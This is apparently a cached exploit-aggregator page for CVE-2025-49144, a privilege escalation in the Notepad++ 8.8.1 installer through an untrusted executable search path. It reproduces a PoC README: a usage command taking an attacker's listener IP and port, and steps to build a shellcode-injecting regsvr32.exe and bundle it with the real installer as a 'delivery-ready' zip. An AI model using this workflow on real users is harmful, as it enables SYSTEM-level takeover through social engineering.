CVE-2025-49144 PoC — Notepad++ Privilege Escalation in Installer via Uncontrolled Executable Search Path

Source

https://github.com/b0ySie7e/Notepad-8.8.1_CVE-2025-49144

Associated Vulnerability

Title:Notepad++ Privilege Escalation in Installer via Uncontrolled Executable Search Path (CVE-2025-49144)
Description:Notepad++ is a free and open-source source code editor. In versions 8.8.1 and prior, a privilege escalation vulnerability exists in the Notepad++ v8.8.1 installer that allows unprivileged users to gain SYSTEM-level privileges through insecure executable search paths. An attacker could use social engineering or clickjacking to trick users into downloading both the legitimate installer and a malicious executable to the same directory (typically Downloads folder - which is known as Vulnerable directory). Upon running the installer, the attack executes automatically with SYSTEM privileges. This issue has been fixed and will be released in version 8.8.2.

Description

Proof of Concept (PoC) that exploits the CVE-2025-49144 vulnerability in the Notepad++ 8.8.1 installer.

Readme

# CVE-2025-49144 – Exploit for Notepad++ 8.8.1

This repository contains a functional Proof of Concept (PoC) that exploits the **CVE-2025-49144** vulnerability in the **Notepad++ 8.8.1 installer**. The malicious execution occurs by placing a binary (`regsvr32.exe`) in the same directory as the vulnerable installer. When the installer is executed, it inherits the context and triggers the payload.

> ⚠️ **Disclaimer**  
> This code is strictly intended for **educational and research purposes** only. Unauthorized use on systems without explicit permission may constitute a violation of the law.  
> The author is **not responsible** for any misuse or malicious activity involving this tool.

---

## 🧪 Requirements

- Python 3.x  
- [`msfvenom`](https://www.metasploit.com/) (part of Metasploit Framework)  
- `mingw-w64` (`x86_64-w64-mingw32-gcc`)  
- Vulnerable installer: `npp.8.8.1.Installer.x64.exe` (must be placed manually in the same directory)

---

## ⚙️ Usage

```bash
python3 exploit.py -i <LHOST> -p <LPORT>
```

Example:

```c
python3 exploit.py -i 192.168.100.10 -p 4444
```

This will generate the following files:
- regsvr32.exe: executable that injects shellcode into a remote notepad.exe process.
- notepad_payload.zip: delivery-ready archive containing:
    - npp.8.8.1.Installer.x64.exe
    - regsvr32.exe

## 🎬 Demo

[![Demo Preview](assets/cve-2025-49144.gif)]

File Snapshot


 [4.0K]  /data/pocs/249479d609f719d7cb7053e48675ad83b2dee3d2
├── [4.0K]  assets
│   └── [4.2M]  cve-2025-49144.gif
├── [4.3K]  CVE-2025-49144.py
├── [6.5M]  npp.8.8.1.Installer.x64.exe
└── [1.4K]  README.md

1 directory, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!